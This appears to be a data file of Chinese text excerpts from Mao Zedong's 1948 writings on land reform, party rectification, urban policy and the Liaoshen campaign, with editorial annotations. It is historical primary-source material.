    {"text": "我们党的历史情况表明，在我党和国民党结成统一战线时期，党内容易发生右的偏向，而在我党和国民党分裂时期，党内容易发生“左”的偏向。 现在的“左”的偏向，主要的是侵犯中农，侵犯民族资产阶级，职工运动中片面强调工人眼前福利，对待地主和对待富农没有区别，对待地主的大中小、恶霸非恶霸没有区别，不按平分原则给地主留下必要的生活出路，在镇压反革命斗争中越出了某些政策界限，以及不要代表民族资产阶级的党派，不要开明绅士，在新解放区忽视缩小打击面（即忽视中立富农和小地主）在策略上的重要性，工作步骤上的急性病等。"},
    {"text": "右的偏向主要是过高地估计敌人的力量，惧怕美国大量援蒋，对长期战争有些厌倦，对国际民主力量的强大的程度有些怀疑，不敢放手发动群众消灭封建制度，对党内成分不纯和作风不纯熟视无睹等。"},
    {"text": "最近几个月，我党在战争、土地改革、整党整军、发展新区和争取民主党派等方面均有成绩，在这些工作中所发生的偏向有了着重的纠正，或正在纠正中，这样就可以使整个中国革命运动走上健全发展的轨道。"},
    {"text": "二、由于对美国和蒋介石存着某种幻想，对我党和人民具有足以战胜一切内外敌人的力量表示怀疑，并因此认为所谓第三条道路 〔1〕 尚有存在可能、将自己处于国共两党之间的中间地位的某些民主人士，在国民党的突然的攻势之下，使自己处于被动地位，最后终于在一九四八年一月间采用我党的口号，声明反蒋反美，联共联苏 〔2〕 。"},
    {"text": "估计要待我们有更大的胜利，夺取几个例如沈阳、北平、天津那样的城市，共产党胜、国民党败的形势业已完全判明以后，邀请他们参加中央人民政府，他们可能愿意来解放区和我们共事。"},
    {"text": "在本年蒋介石的伪国大开会选举蒋介石当了总统 〔3〕 ，他的威信更加破产之后，在我们取得更大胜利，扩大更多地方，并且最好在取得一二个头等大城市之后，在东北、华北、山东、苏北、河南、湖北、安徽等区连成一片之后，便有完全的必要成立中央人民政府。"},
    {"text": "目前我们正将晋察冀区、晋冀鲁豫区和山东的渤海区统一在一个党委（华北局）、一个政府、一个军事机构的指挥之下（渤海区也许迟一点合并），这三区包括陇海路以北、津浦路和渤海以西、同蒲路以东、平绥路以南的广大地区 〔4〕 。"},
    {"text": "四、我南线各军，即山东兵团九个旅，苏北兵团七个旅，河淮间兵团二十一个旅，豫鄂陕兵团十个旅，江淮汉水间兵团十九个旅，西北兵团十二个旅，晋南豫北兵团十二个旅，除江淮汉水间刘邓兵团的主力因白崇禧集中兵力向大别山进攻 〔6〕 ，未获休整，到二月底才抽出一部到淮河以北休整外，其余各兵团均在十二月至二月间作了休整。"},
    {"text": "这次休整，采取群众诉苦（诉旧社会和反动派所给予劳动人民之苦）、三查（查阶级成分，查工作，查斗志）和群众性练兵（官教兵，兵教官，兵教兵）的方法，发动了全军指挥员战斗员的高度的革命积极性，教好了或清除了一部分军队中的地主、富农分子或坏分子，提高了纪律，讲明了土地改革中的各项政策、对待工商业和知识分子的政策，发扬了军队中的民主作风，提高了军事技术和战术。"},
    {"text": "北线各军，即东北兵团四十六个旅、晋察冀兵团十八个旅、晋绥兵团两个旅，在冬季则大部作战，一部休整。 东北兵团，利用辽河结冰，举行了三个月作战，歼敌八个旅，争取敌一个旅起义，攻占彰武、法库、新立屯、辽阳、鞍山、营口和四平街，并收复吉林。"},
    {"text": "总计我军现有南北两线大小十个兵团，正规兵力已达五十个纵队（等于国民党的整编师），一百五十六个旅（等于国民党的整编旅），一百三十二万二千余人，平均每旅（三个团）人数八千左右。 此外，尚有非正规军，包括地方兵团、部队、游击队、后方军事机关、军事学校等在内，一百一十六万八千余人（其中作战部队占八十万人），全军总计为二百四十九万一千余人。 而在一九四六年七月以前，我们只有正规军二十八个纵队，一百一十八个旅，六十一万二千余人，平均每旅（三个团）人数不足五千； 加上非正规军六十六万五千余人，总计一百二十七万八千余人。"},
    {"text": "五、国民党的正规军，从一九四六年七月至去年夏季，是九十三个师，二百四十八个旅，现在则有一百零四个师，二百七十九个旅的番号。 其分布是：北线二十九个师，九十三个旅（沈阳卫立煌十三个师，四十五个旅； 北平傅作义十一个师，三十三个旅；"},
    {"text": "国民党正规军番号增加的原因，是因为国民党军大量被我军歼灭，并由战略攻势转入战略守势之后，甚感兵力不足，因此将大量地方部队和伪军升级或编组为正规军，计北线卫立煌系统增加三个师，十四个旅；"},
    {"text": "但是第一，最近几个月（至三月二十日为止）被我歼灭的六个师，二十九个旅，只有空番号，尚未来得及重建或补充，也许有一部分永远无法重建或补充了，因此，国民党军在实际上现在只有九十八个师，二百五十个旅，比之去年夏季以前只多了五个师的番号和二个实际的旅。 第二，现在实有的二百五十个旅中，只有一百十八个旅未受过我军歼灭性的打击，其余一百三十二个旅，或者被我军歼灭过一次、二次，甚至三次，然后补充起来的； 或者是受过我军一次、二次，甚至三次歼灭性打击的（以旅为单位，全体被消灭，或大部被消灭者，称为被歼灭； 一个团以上被消灭，但其主力未受损失者，称为受歼灭性打击），其士气和战斗力甚为低落。 在未受歼灭性打击的一百十八个旅中，有一部分是在第二线训练的新兵，有一部分是从地方部队和伪军升级或编组的，战斗力很弱。"},
    {"text": "一九四六年七月以前，其正规部队二百万人，非正规部队七十三万八千人，特种部队三十六万七千人，海空部队十九万人，后勤机关、学校一百零一万人，总计四百三十万五千人。 而在一九四八年二月，他的正规部队一百八十一万人，非正规部队五十六万人，特种部队二十八万人，海空部队十九万人，后勤机关、学校八十一万人，总计三百六十五万人，即是说，减少了六十五万五千人。 一九四六年七月至一九四八年一月的十九个月中，我军共消灭国民党军队一百九十七万七千人（二月和三月上半月尚未统计好，大约有十八万人左右），即是说，国民党不但将其在过去作战期间所动员参军的一百余万新兵消耗了，而且大量消耗了它原有的兵力。"},
    {"text": "今后我军占地日广，国民党军兵源粮源日益缩小，估计再打一个整年，即至明年春季的时候，敌我两军在数量上可能达到大体上平衡的程度。 我们的方针是稳扎稳打，不求速效，只求平均每个月消灭国民党正规军八个旅左右，每年消灭敌军约一百个旅左右。"},
    {"text": "这两个党派当时都接受了中国共产党关于时局的主张，发表宣言，主张联合中共和其他民主党派，推翻蒋介石独裁政权，反对美国武装干涉中国内政。"},
    {"text": "在晋绥干部会议上的讲话 在晋绥干部会议上的讲话 （一九四八年四月一日） 同志们，今天我想讲的，主要地是一些和晋绥工作有关的问题，然后讲到一些和全国工作有关的问题。"},
    {"text": "一方面，晋绥的党组织反对了右的偏向，发动了群众斗争，在全区三百多万人口的二百几十万人口中，完成了或者正在完成着土地改革工作和整党工作。 另一方面，晋绥的党组织又纠正了在运动中发生的几个“左”的偏向，因而使全部工作走上了健全发展的轨道。 从这两方面来看，晋绥解放区的土地改革工作和整党工作，我认为是成功的。"},
    {"text": "他们说“再也不敢封建了”，就是说，我们领导他们发动了斗争，消灭了或者正在消灭着新区的封建剥削制度和老区半老区的封建剥削制度的残余。"},
    {"text": "他们说“再也不敢厉害了，再也不敢贪污了”，就是说，在我们的党和政府的组织内，过去存在着某种程度上的成分不纯或者作风不纯的严重现象，许多坏分子混入了党和政府的组织内，许多人发展了官僚主义的作风，仗势欺人，用强迫命令的方法去完成工作任务，因而引起群众不满，或者犯了贪污罪，或者侵占了群众的利益，这些情况，经过过去一年的土地改革工作和整党工作，已经从根本上改变了。"},
    {"text": "他所说的过去没有而现在有了的东西，就是指的贫农团、新农会、区村人民代表会议，以及由于土地改革工作和整党工作所造成的农村中面目一新的气象。"},
    {"text": "第一，在划分阶级成分中，在许多地方把许多并无封建剥削或者只有轻微剥削的劳动人民错误地划到地主富农的圈子里去，错误地扩大了打击面，忘记了我们在土地改革工作中可能和必须团结农村中户数百分之九十二左右，人数百分之九十左右，即全体农村劳动人民，建立反对封建制度的统一战线这样一个极端重要的战略方针。"},
    {"text": "第三，在过去一年的激烈的土地改革斗争中，晋绥的党组织没有能够明确地坚持我党严禁乱打乱杀的方针，以致在某些地方的土地改革中不必要地处死了一些地主富农分子，并给农村中的坏分子以乘机报复的可能，由他们罪恶地杀死了若干劳动人民。"},
    {"text": "我们认为，经过人民法庭和民主政府，对于那些积极地并严重地反对人民民主革命和破坏土地改革工作的重要的犯罪分子，即那些罪大恶极的反革命分子和恶霸分子，判处死刑，是完全必要和正当的。"},
    {"text": "过去一年中，晋绥在这方面曾经发生的偏向，现在也已纠正了。 在认真地纠正了上述一切偏向之后，我们可以有证据地来说，在晋绥中央分局领导下面的全部工作，现在已经走上了健全发展的轨道。"},
    {"text": "关于整理党的基层组织的工作，你们已经根据中央关于在老区半老区进行土地改革工作和整党工作的指示 〔1〕 ，采用晋察冀解放区平山县的整党经验，即是邀集党外群众中的积极分子参加党的支部会议，展开批评和自我批评，借以改变党的组织的成分不纯或者作风不纯的现象，使党和人民群众密切地联系起来。"},
    {"text": "现在你们的经验以及其他解放区的经验，既已证明就在土地改革斗争当中建立区村两级人民代表会议及其选出的政府委员会，是可能的和必要的，那末，你们就应当这样做。"},
    {"text": "在区村两级人民代表会议普遍地建立起来的时候，就可以建立县一级的人民代表会议。 有了县和县以下的各级人民代表会议，县以上的各级人民代表会议就容易建立起来了。"},
    {"text": "在各级人民代表会议中，必须使一切民主阶层，包括工人、农民、独立劳动者、自由职业者、知识分子、民族工商业者以及开明绅士，尽可能地都有他们的代表参加进去。"},
    {"text": "当然不是勉强凑数，而是要分别有市镇的农村和没有市镇的农村，分别市镇的大小，分别城市和农村，自然地而不是勉强地实现这个联合一切民主阶层的任务。"},
    {"text": "二 晋绥解放区获得上述成功的原因，就领导方面来说，主要的是：（甲）在去年春季刘少奇同志的当面指示和去年春夏康生同志在临县郝家坡行政村的工作的帮助之下，晋绥分局在去年六月召开了地委书记会议。"},
    {"text": "在这个会议上，批判了过去工作中存在着的右的偏向，彻底地揭发了各种离开党的路线的严重现象，决定了认真地发动土地改革工作和整党工作的方针。"},
    {"text": "地委书记会议仅仅强调了党应当执行群众意见的方面，而忽视了党应当教育群众和领导群众的方面，以致给了后来某些地区的工作同志以不正确的影响，助长了他们的尾巴主义错误。"},
    {"text": "这表现在实行了减租减息，相当地恢复和发展了农业生产和家庭纺织业、军事工业和一部分轻工业，建立了党的基础，建立了民主政府，建立了近十万人的人民军队，因而就能依据这些工作作基础，进行了胜利的抗日战争，并打退了阎锡山等反动派的进攻。"},
    {"text": "当然，这个时期的党和政府是有缺点的，这就是现在我们已经完全明白的它们在某种程度上的成分不纯或者作风不纯，以及由此产生的许多工作上的不良现象。"},
    {"text": "抗日时期，晋绥党组织的领导方面的缺点或错误，主要地是未能依靠最广大的群众克服党内和政府内在某种程度上的成分不纯或者作风不纯，以及由此产生的工作中的不良现象；"},
    {"text": "四 今后晋绥党组织的任务，是用极大的努力，继续完成土地改革工作和整党工作，继续发展和支援人民解放战争，不再加重人民负担，并酌量减轻人民负担，恢复和发展生产。"},
    {"text": "在农业方面，过去被官僚主义分子所把持的、对于人民群众有害无益的那些变工队和合作社 〔4〕 都垮台了，这是完全可以理解的，并且是毫不可惜的。"},
    {"text": "自从去年党的全国土地会议 〔5〕 决定采取新的方针，展开土地改革工作和整党工作以后，差不多在一切解放区都召开了有关整党和土地改革的大的干部会议，批判了存在于党内的右倾思想，揭发了党内在某种程度上存在着的成分不纯或者作风不纯的严重现象。"},
    {"text": "由此，激发了广大的指挥员和战斗员群众的革命热情，明确地认识了战争的目的，清除了存在于军队中的若干不正确的思想上的倾向和不良现象，教育了干部和战士，极大地提高了战斗力。"},
    {"text": "在我们方面，是如此认真地纠正自己的缺点，把我们的全党全军团结得差不多像一个人一样，使全党全军和人民群众密切地结合起来，有效地执行着我党中央所规定的一切政策和策略，胜利地进行着人民的解放战争。"},
    {"text": "他们是那样腐化，那样充满日益增多的无法解决的内部争吵，那样被人民唾弃而陷于完全的孤立，打了那样多的败仗，因此他们就必不可免地走向灭亡。"},
    {"text": "新民主主义的革命，不是任何别的革命，它只能是和必须是无产阶级领导的，人民大众的，反对帝国主义、封建主义和官僚资本主义的革命。 这就是说，这个革命不能由任何别的阶级和任何别的政党充当领导者，只能和必须由无产阶级和中国共产党充当领导者。"},
    {"text": "这就是说，由参加这个革命的人们所组成的统一战线是十分广大的，这里包括了工人、农民、独立劳动者、自由职业者、知识分子、民族资产阶级以及从地主阶级分裂出来的一部分开明绅士，这就是我们所说的人民大众。"},
    {"text": "土地改革的对象，只是和必须是地主阶级和旧式富农的封建剥削制度，不能侵犯民族资产阶级，也不要侵犯地主富农所经营的工商业，特别注意不要侵犯没有剥削或者只有轻微剥削的中农、独立劳动者、自由职业者和新式富农。 土地改革的目的是消灭封建剥削制度，即消灭封建地主之为阶级，而不是消灭地主个人。"},
    {"text": "除了可以和应当惩办那些为广大人民群众所痛恨的查有实据的罪大恶极的反革命分子和恶霸分子以外，必须实行对一切人的宽大政策，禁止任何的乱打乱杀。"},
    {"text": "分地区，是说应当集中力量在那些可以巩固地占领的区域进行适当的合乎当地群众要求的土地改革工作； 而在那些暂时尚难巩固地占领的区域，则不要忙于进行土地改革，而只做一些可以做的按照当前情况有利于群众的工作，以待情况的变化。"},
    {"text": "分阶段，是说在人民解放军刚才占领的区域，应当提出和实行中立富农和中立中小地主的策略，将打击面缩小到只消灭国民党的反动武装和打击豪绅恶霸分子。"},
    {"text": "所谓有分别地消灭封建制度，就是说，必须分别地主和富农，分别地主的大中小，分别地主富农中的恶霸分子和非恶霸分子，在平分土地、消灭封建制度的大原则下面，不是一律地而是有所分别地决定和实行给予这些不同情况的人们以不同的待遇。"},
    {"text": "在任何地区，一经消灭了封建制度，完成了土地改革任务，党和民主政府就必须立即提出恢复和发展农业生产的任务，将农村中的一切可能的力量转移到恢复和发展农业生产的方面去，组织合作互助，改良农业技术，提倡选种，兴办水利，务使增产成为可能。"},
    {"text": "为了迅速地恢复和发展农业生产和市镇上的工业生产，在消灭封建制度的斗争中，必须注意尽一切努力最大限度地保存一切可用的生产资料和生活资料，采取办法坚决地反对任何人对于生产资料和生活资料的破坏和浪费，反对大吃大喝，注意节约。"},
    {"text": "但是，许多同志往往记住了我党的具体的各别的工作路线和政策，忘记了我党的总路线和总政策。 而如果真正忘记了我党的总路线和总政策，我们就将是一个盲目的不完全的不清醒的革命者，在我们执行具体工作路线和具体政策的时候，就会迷失方向，就会左右摇摆，就会贻误我们的工作。"},
    {"text": "让我再说一遍： 无产阶级领导的，人民大众的，反对帝国主义、封建主义和官僚资本主义的革命，这就是中国的新民主主义的革命，这就是中国共产党在当前历史阶段的总路线和总政策。 依靠贫农，团结中农，有步骤地、有分别地消灭封建剥削制度，发展农业生产，这就是中国共产党在新民主主义的革命时期，在土地改革工作中的总路线和总政策。"},
    {"text": "这个指示总结了解放区土地改革和整党工作的经验，规定了老区半老区土地改革和整党工作的一系列的政策和方法，着重地纠正了某些地区在这两项工作中曾经发生的“左”的偏向。"},
    {"text": "其要点是：（一）由于划分阶级成分的标准不明确，在农民自发的要求下，将不少人错订为破产地主和富农，特别是将富裕中农错订为富农，影响了对中农的团结，这是错误的。"},
    {"text": "对晋绥日报编辑人员的谈话 对晋绥日报编辑人员的谈话 （一九四八年四月二日） 我们的政策，不光要使领导者知道，干部知道，还要使广大的群众知道。"},
    {"text": "办好报纸，把报纸办得引人入胜，在报纸上正确地宣传党的方针政策，通过报纸加强党和群众的联系，这是党的工作中的一项不可小看的、有重大原则意义的问题。"},
    {"text": "例如，报上常有错字，就是因为没有把消灭错字认真地当做一件事情来办。 如果采取群众路线的方法，报上有了错字，就把全报社的人员集合起来，不讲别的，专讲这件事，讲清楚错误的情况，发生错误的原因，消灭错误的办法，要大家认真注意。"},
    {"text": "善于把党的政策变为群众的行动，善于使我们的每一个运动，每一个斗争，不但领导干部懂得，而且广大的群众都能懂得，都能掌握，这是一项马克思列宁主义的领导艺术。"},
    {"text": "当官的要向战士学习，把别人的经验变成自己的，他的本领就大了。 报社的同志也要经常向下边反映上来的材料学习，慢慢地使自己的实际知识丰富起来，使自己成为有经验的人。"},
    {"text": "这些人没有看到，党领导了那么多的农民得到土地，打倒了封建主义，整顿了党的组织，改进了干部的作风，现在又纠正了“左”的偏向，教育了干部和群众。"},
    {"text": "再克洛阳后给洛阳前线指挥部的电报 再克洛阳后给 洛阳前线指挥部的电报 * （一九四八年四月八日） 此次再克洛阳 〔1〕 ，可能巩固。关于城市政策，应注意下列各点。 一、极谨慎地清理国民党统治机构，只逮捕其中主要反动分子，不要牵连太广。 二、对于官僚资本要有明确界限，不要将国民党人经营的工商业都叫作官僚资本而加以没收。对于那些查明确实是由国民党中央政府、省政府、县市政府经营的，即完全官办的工商业，应该确定归民主政府接管营业的原则。但如民主政府一时来不及接管或一时尚无能力接管，则应该暂时委托原管理人负责管理，照常开业，直至民主政府派人接管时为止。对于这些工商业，应该组织工人和技师参加管理，并且信任他们的管理能力。如国民党人已逃跑，企业处于停歇状态，则应该由工人和技师选出代表，组织管理委员会管理，然后由民主政府委任经理和厂长，同工人一起加以管理。对于著名的国民党大官僚所经营的企业，应该按照上述原则和办法处理。 对于小官僚和地主所办的工商业，则不在没收之列。一切民族资产阶级经营的企业，严禁侵犯。 三、禁止农民团体进城捉拿和斗争地主。对于土地在乡村家在城里的地主，由民主市政府依法处理。其罪大恶极者，可根据乡村农民团体的请求送到乡村处理。 四、入城之初，不要轻易提出增加工资减少工时的口号。在战争时期，能够继续生产，能够不减工时，维持原有工资水平，就是好事。将来是否酌量减少工时增加工资，要依据经济情况即企业是否向上发展来决定。 五、不要忙于组织城市人民进行民主改革和生活改善的斗争。要等市政管理有了头绪，人心已经安定，经过周密调查，弄清情况和筹有妥善解决办法的时候，才可以按情况酌量处理。 六、大城市目前的中心问题是粮食和燃料问题，必须有计划地加以处理。城市一经由我们管理，就必须有计划地逐步解决贫民的生活问题。不要提“开仓济贫”的口号。不要使他们养成依赖政府救济的心理。 七、国民党员和三青团员，必须妥善地予以清理和登记。 八、一切作长期打算。严禁破坏任何公私生产资料和浪费生活资料，禁止大吃大喝，注意节约。 九、市委书记和市长必须委派懂政策有能力的人担任。市委书记和市长应该对所属一切工作人员加以训练，讲明各项城市政策和策略。城市已经属于人民，一切应该以城市由人民自己负责管理的精神为出发点。如果应用对待国民党管理的城市的政策和策略，来对待人民自己管理的城市，那就是完全错误的。 注 释 * 这是毛泽东为中共中央起草的电报。因为它的内容不但适用于洛阳，也基本上适用于一切新解放的城市，所以这个电报同时发给了其他前线和其他地区的领导同志。 〔1〕 洛阳是当时国民党军队在河南西部的一个重要据点。人民解放军于一九四八年三月十四日首次攻克洛阳，以后为便于歼灭敌人有生力量，又主动撤出。同年四月五日，人民解放军再度攻克该城。 新解放区农村工作的策略问题 新解放区农村工作的策略问题 * （一九四八年五月二十四日） 新解放区农村工作的策略问题有全盘考虑之必要。新解放区必须充分利用抗日时期的经验，在解放后的相当时期内，实行减租减息和酌量调剂种子口粮的社会政策和合理负担的财政政策，把主要的打击对象限于政治上站在国民党方面坚决反对我党我军的重要反革命分子，如同抗日时期只逮捕汉奸分子和没收他们的财产一样，而不是立即实行分浮财、分土地的社会改革政策。因为过早地分浮财，只是少数勇敢分子欢迎，基本群众并未分得，因而会表示不满。而且，社会财富迅速分散，于军队亦不利。过早地分土地，使军需负担过早地全部落在农民身上，不是落在地主富农身上。不如不分浮财，不分土地，在社会改革上普遍实行减租减息，使农民得到实益；在财政政策上实行合理负担，使地主富农多出钱。这样，社会财富不分散，社会秩序较稳定，利于集中一切力量消灭国民党反动派。在一两年甚至三年以后，在大块根据地上，国民党反动派已被消灭，环境已经安定，群众已经觉悟和组织起来，战争已经向遥远地方推进，那时就可进入像华北那样的分浮财、分土地的土地改革阶段。这一个减租减息阶段是任何新解放地区所不能缺少的，缺少了这个阶段，我们就要犯错误。就是在华北、东北、西北各大解放区的接敌地区，亦须实行上述同样的策略。 注 释 * 这是毛泽东给邓小平的电报。"},
    {"text": "必须利用今年整个秋季和冬季，即自今年九月至明年三月，共七个月时间，在各中央局和分局所划定的地区内，依次完成下列各项工作：（甲）乡村情况调查。"},
    {"text": "以上是由土地改革到生产的全部工作过程，必须使一切直接从事土地改革工作的同志了解这样的工作过程，避免工作的片面性，并不失时机地于秋冬两季全部完成上述工作。"},
    {"text": "如果某一地区，在上述三个条件中，有任何一个条件不具备，即不应当将该地区列入一九四八年进行土地改革的范围。 例如，在华北、华东、东北、西北各解放区的接敌区域和中原局所属江淮河汉区域的绝大部分地区，因为尚不具备第一个条件，即不应当列入今年的土地改革计划内。"},
    {"text": "在这类地区，应当充分利用抗日时期的经验，实行减租减息和酌量调剂种子食粮的社会政策和合理负担的财政政策，以便联合或中立一切可能联合或中立的社会力量，帮助人民解放军消灭一切国民党武装力量和打击政治上最反动的恶霸分子。"},
    {"text": "在这类地区，既不要分土地，也不要分浮财，因为这些都是在新区和接敌区的条件之下，不利于联合或中立一切可能联合或中立的社会力量、完成消灭国民党反动力量这一基本任务的。"},
    {"text": "在为着土地改革和整党工作召集的干部会议中，必须充分讲明关于这两项工作的全部正确政策，将许可做的事和不许可做的事，分清界限。 必须将中央颁布的各项重要文件，责成一切从事土地改革工作和整党工作的干部，认真学习，完全了解，并责成他们全部遵守，不许擅自修改。"},
    {"text": "今年的各级干部会议，必须由各地高级领导机关，在开会之前，作充分而恰当的准备，这即是事前由少数人商量（由一个人负主责），提出问题和分析问题，写好成文的纲要，精心斟酌这个纲要的内容和文字（注意简明扼要，反对不着边际的长篇大论），然后向干部会议作报告，开展讨论，吸收讨论中的意见，加以补充和修改，作为定论；"},
    {"text": "必须反对经验主义的方法，这即是事前毫无准备，不提出问题，不分析问题，不向干部会议作精心准备的、内容文字都有斟酌的报告，而听凭到会人员无目的地杂乱无章地议论，致使会议时间延长，得不到明确而周密的结论。"},
    {"text": "（丙）九月上半月，至迟九月下半月，全部直接从事土地改革工作的干部必须到达乡村，并开始工作，否则就不能利用秋冬两季的全部时间，完成全部土地改革、整党建政和准备春耕的工作。"},
    {"text": "三 在干部会议中和在工作中，必须教育干部善于分析具体情况，从不同地区、不同历史条件的具体情况出发，决定当地当时的工作任务和工作方法。"},
    {"text": "四 凡属封建制度已经根本消灭，贫雇农已经得到大体上相当于平均数的土地，他们同中农所有的土地虽有差别（这种差别是许可的），但是相差不多者，即应认为土地问题已经解决，不要再提土地改革问题。"},
    {"text": "五 在一切解放区，不论是已经完成土地改革的地区，或者尚未完成土地改革的地区，都必须在今年秋季指导农民耕种麦地，并进行一部分土地的秋耕。"},
    {"text": "六 必须坚决地克服许多地方存在着的某些无纪律状态或无政府状态，即擅自修改中央的或上级党委的政策和策略，执行他们自以为是的违背统一意志和统一纪律的极端有害的政策和策略；"},
    {"text": "各级党委必须对这一点进行反复讨论，认真克服这种无纪律状态或无政府状态，将一切可能和必须集中的权力，集中于中央和中央代表机关 〔1〕 。"},
    {"text": "七 中央、中央局（分局）、区党委（省委）、地委、县委、区委、直到支部，必须充分利用无线电、有线电、电话、邮递、专人送信等项通讯方法，小型会议（例如四五个人的），区域会议（例如几个县的），和个别谈话等项会谈方法，小型巡视团（例如三至五个人的）和个别有威信的委员的巡视方法，同时充分利用通讯社和报纸，密切地互相联系起来，以便掌握运动的动态，随时互通情报，交流经验，及时纠正错误，发扬成绩。"},
    {"text": "关于辽沈战役<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>的作战方针 关于辽沈战役 〔1〕 的作战方针 * （一九四八年九月、十月） 一 九月七日的电报 我们准备五年左右（从一九四六年七月算起）根本上打倒国民党，这是具有可能性的 〔2〕 。"},
    {"text": "过去两年我军共歼敌正规军一百九十一个旅，平均每年九十五个半旅，每月八个旅弱。 今后三年要求我军歼敌正规军三百个旅以上。 今年七月至明年六月，我们希望能歼敌正规军一百十五个旅左右。"},
    {"text": "要求华东野战军担负歼灭四十个旅左右（他们七月歼灭的七个旅在内），并攻占济南和苏北、豫东、皖北若干大中小城市。 要求中原野战军担负歼灭十四个旅左右（七月已歼两个旅在内），并攻占鄂豫皖三省若干城市。 要求西北野战军担负歼灭十二个旅左右（八月已歼一个半旅在内）。 要求华北徐向前、周士第兵团歼灭阎锡山十四个旅左右（七月已歼八个旅在内），并攻占太原。 要求你们配合罗瑞卿、杨成武两兵团担负歼灭卫立煌、傅作义两军三十五个旅左右（七月杨成武已歼一个旅在内），并攻占北宁、平绥、平承、平保各线除北平、天津、沈阳三点以外的一切城市。"},
    {"text": "你们如果能在九十两月或再多一点时间内歼灭锦州至唐山一线之敌，并攻克锦州、榆关、唐山诸点，就可以达到歼敌十八个旅左右之目的。 为了歼灭这些敌人，你们现在就应该准备使用主力于该线，而置长春、沈阳两敌于不顾，并准备在打锦州时歼灭可能由长、沈援锦之敌。"},
    {"text": "如果你们以主力位于新民及其以北地区准备打长、沈出来之敌，则该敌因受你们威胁太大，可能不敢出来。 一方面长、沈之敌可能不出来，另一方面锦、榆、唐诸点及其附近之敌（十八个旅）则因你们去的兵力过小，可能收缩于锦、唐两点，变为不甚好打而又不得不打，费时费力，这样就有可能使自己陷入被动地位。"},
    {"text": "再则，今年九月至明年六月的十个月内，你们要准备进行三次大战役，每次准备费去两个月左右时间，共费去六个月左右时间，余四个月作为休息时间。"},
    {"text": "如果在你们进行锦、榆、唐战役（第一个大战役）期间，长、沈之敌倾巢援锦（因为你们主力不是位于新民而是位于锦州附近，卫立煌才敢于来援），则你们便可以不离开锦、榆、唐线连续大举歼灭援敌，争取将卫立煌全军就地歼灭。"},
    {"text": "二 十月十日的电报 （一）从你们开始攻击锦州之日起，一个时期内是你们战局紧张期间，望你们每两日或每三日以敌情（锦州守敌之抵抗能力，葫芦岛、锦西援敌和沈阳援敌之进度，长春敌军之动态）我情（攻城进度，攻城和阻援之伤亡程度）电告我们一次。 （二）这一时期的战局，很有可能如你们曾经说过的那样，发展成为极有利的形势，即不但能歼灭锦州守敌，而且能歼灭葫、锦援敌之一部，而且能歼灭长春逃敌之一部或大部。 如果沈阳援敌进至大凌河以北地区，恰当你们业已攻克锦州、使你们有可能转移兵力将该敌加以包围的话，那就也可能歼灭沈阳援敌。"},
    {"text": "如果沈阳援敌进得较慢（如果长春之敌在你们攻锦过程中突围，并被我十二纵等部抓住歼击，则沈阳援敌可能被麻痹，进得较慢，或停止不进，或回头救援长春之敌），葫、锦援敌进得较快，则你们应准备以总预备队加入四纵、十一纵方面歼灭该敌一部，首先停止该敌之前进。 如果葫、锦援敌被我四纵、十一纵等部所钳制和阻止而进得很慢或停止不进，长春之敌没有突围，沈阳援敌进得较快，而锦州之敌业已大部被歼，全城已接近于攻克，则你们应使沈敌深入大凌河以北，以便及时转移兵力包围该敌，然后徐图歼击。"},
    {"text": "（四）你们的中心注意力必须放在锦州作战方面，求得尽可能迅速地攻克该城。 即使一切其他目的都未达到，只要攻克了锦州，你们就有了主动权，就是一个伟大的胜利。"},
    {"text": "辽沈战役的结果是：（一）歼敌四十七万人，加上当时人民解放军在其他各个战场上的胜利，就使人民解放军在数量上对于国民党军也转入了优势；"},
    {"text": "在战争的头两年，人民解放军每月平均歼灭敌军八个旅左右。 到了这时，人民解放军歼灭敌军的数目，已经不是平均每月八个旅，而是三十八个旅了。"},
    {"text": "〔1〕 辽沈战役，是一九四八年九月十二日至十一月二日中国人民解放军东北野战军在辽宁省西部和沈阳、长春地区同国民党军进行的一次具有决定意义的战役。 战役前，国民党军在东北地区的总兵力有四个兵团，连同地方保安团队，共约五十五万人，分别收缩在长春、沈阳、锦州三个孤立地区。 东北野战军集中主力十二个纵队、一个炮兵纵队和十七个独立师，连同地方武装共一百零三万人，在东北广大人民支援下，发起辽沈战役。"},
    {"text": "防守锦州地区的国民党军开始时为东北“剿总”副总司令范汉杰指挥下的六个师，连同特种兵、后勤及地方部队约十万人，到九月下旬，国民党又空运一个师增援锦州。"},
    {"text": "以两个纵队配置于锦州西南的塔山、虹螺山一线，十一个师配置于彰武、新立屯以东地区，分别阻击由锦西、葫芦岛方向和沈阳方向救援锦州之敌；"},
    {"text": "正当人民解放军攻克义县，扫清锦州外围敌人时，蒋介石慌忙飞到东北亲自指挥，并急调北宁线华北“剿总”的五个师来援，连同原来在锦西的四个师，共九个师，于十月十日起开始向塔山阵地猛攻，但始终未能突破人民解放军阵地。 廖耀湘兵团（国民党第九兵团）十一个师又三个骑兵旅由沈阳驰援锦州，被人民解放军阻击在彰武、新立屯地区。 十月十四日人民解放军对锦州发起进攻，经过三十一小时激战，全歼该敌，俘虏敌东北“剿总”副总司令范汉杰、第六兵团司令卢濬泉以下约九万人。"},
    {"text": "十月二十六日将廖兵团包围于黑山、大虎山、新民地区，经两日一夜的激战，全部歼灭该敌，俘虏敌兵团司令廖耀湘，军长李涛、向凤武、郑庭笈以下十万余人。"},
    {"text": "〔3〕 一九四八年十一月一日中共中央军事委员会根据中共中央政治局九月会议的决定，把原各大战略区的部队划分为野战部队、地方部队和游击部队三类。"},
    {"text": "将野战部队编为野战军。 野战军以下辖兵团，兵团辖军（即原来的纵队），军辖师，师辖团。 各野战军以其所在地区分为中国人民解放军西北野战军、中原野战军、华东野战军、东北野战军。 各野战军所属兵团、军、师的数目，依各大战略区具体情况而定。 后来，西北野战军改为第一野战军，辖两个兵团； 中原野战军改为第二野战军，辖三个兵团； 华东野战军改为第三野战军，辖四个兵团； 东北野战军改为第四野战军，辖四个兵团。"},
